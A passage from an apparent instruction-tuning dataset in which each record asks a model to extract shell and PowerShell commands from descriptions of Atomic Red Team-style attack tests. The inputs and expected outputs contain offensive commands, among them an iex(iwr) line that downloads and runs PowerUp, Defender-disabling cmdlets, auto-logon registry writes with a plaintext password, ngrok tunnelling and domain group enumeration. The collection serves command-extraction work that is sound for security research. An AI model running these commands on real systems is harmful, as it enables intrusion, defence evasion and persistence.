    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To discover network shares via the command prompt, you can use the following command, where the computer name variable may need adjustment: net view \\\\#{computer_name}\n; To discover available network shares using PowerShell, run the following command: get-smbshare",
    "output": "{\"command_list\": [\"net view \\\\\\\\#{computer_name}\\n\", \"get-smbshare\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A ping sweep can be performed on the 192.168.1.1/24 subnet with this command, echoing active IPs upon detection: for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \"#{subnet}.$ip UP\" || : ; done; This PowerShell script identifies the local /24 network range using ipconfig and performs nslookup on each IP in that range, which can be executed with the following command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}",
    "output": "{\"command_list\": [\"for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \\\"#{subnet}.$ip UP\\\" || : ; done\\n\", \"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The RemoteFXvGPUDisablement.exe executable can be manipulated to execute custom PowerShell code through module load-order hijacking, which is demonstrated by running the following command: Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}.; By executing the command wuauclt.exe /UpdateDeploymentProvider \"#{arbitrary_dll}\" /RunHandlerComServer, you can test loading an arbitrary DLL with Wuauclt, which defaults to launching calculator.exe.",
    "output": "{\"command_list\": [\"Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}\", \"wuauclt.exe /UpdateDeploymentProvider \\\"#{arbitrary_dll}\\\" /RunHandlerComServer\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Lockbit Black to configure automatic logon, execute this command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword  -Value password1 -Force; This Atomic test disables Windows Defender by leveraging PowerShell's Disable-WindowsOptionalFeature cmdlet, similar to DISM.exe functionality. To execute this action, run the following commands:\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore\nNote that successful execution produces no output unless the quiet switch is removed.",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword  -Value password1 -Force\\n\", \"Disable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Gui\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Features\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-ApplicationGuard\\\" -NoRestart -ErrorAction Ignore\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics cryptojacking behavior by creating high CPU load with the command: yes > /dev/null. Use CTRL/CMD+C to stop the simulation when done.; The file association of .hta files can be changed from cmd.exe to notepad.exe by executing this command: assoc #{extension_to_change}=#{target_extension_handler}",
    "output": "{\"command_list\": [\"yes > /dev/null\\n\", \"assoc #{extension_to_change}=#{target_extension_handler}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell test reveals domain information when executed, though errors may appear on non-domain machines, with the command: get-ADPrincipalGroupMembership #{user} | select name; For enumerating high-value domain groups while simulating discovery, execute the following command sequence, which may show errors on standalone systems: net groups \"Account Operators\" /doma\nnet groups \"Exchange Organization Management\" /doma\nnet group \"BUILTIN\\\\Backup Operators\" /doma\nnet group /domai \"Domain Admins\"",
    "output": "{\"command_list\": [\"get-ADPrincipalGroupMembership #{user} | select name\\n\", \"net groups \\\"Account Operators\\\" /doma\\nnet groups \\\"Exchange Organization Management\\\" /doma\\nnet group \\\"BUILTIN\\\\Backup Operators\\\" /doma\\nnet group /domai \\\"Domain Admins\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can establish an ngrok tunnel to a specified port by executing this command: C:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken #{api_token} | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Public\\ngrok\\ngrok.exe tcp #{port_num} } | Out-Null\nStart-Sleep -s 5 \nStop-Job -Name Job1 | Out-Null\n; For exposing local services via Cloudflared tunnels, use the command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &",
    "output": "{\"command_list\": [\"C:\\\\Users\\\\Public\\\\ngrok\\\\ngrok.exe config add-authtoken #{api_token} | Out-Null\\nStart-Job -ScriptBlock { C:\\\\Users\\\\Public\\\\ngrok\\\\ngrok.exe tcp #{port_num} } | Out-Null\\nStart-Sleep -s 5 \\nStop-Job -Name Job1 | Out-Null\\n\", \"nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module 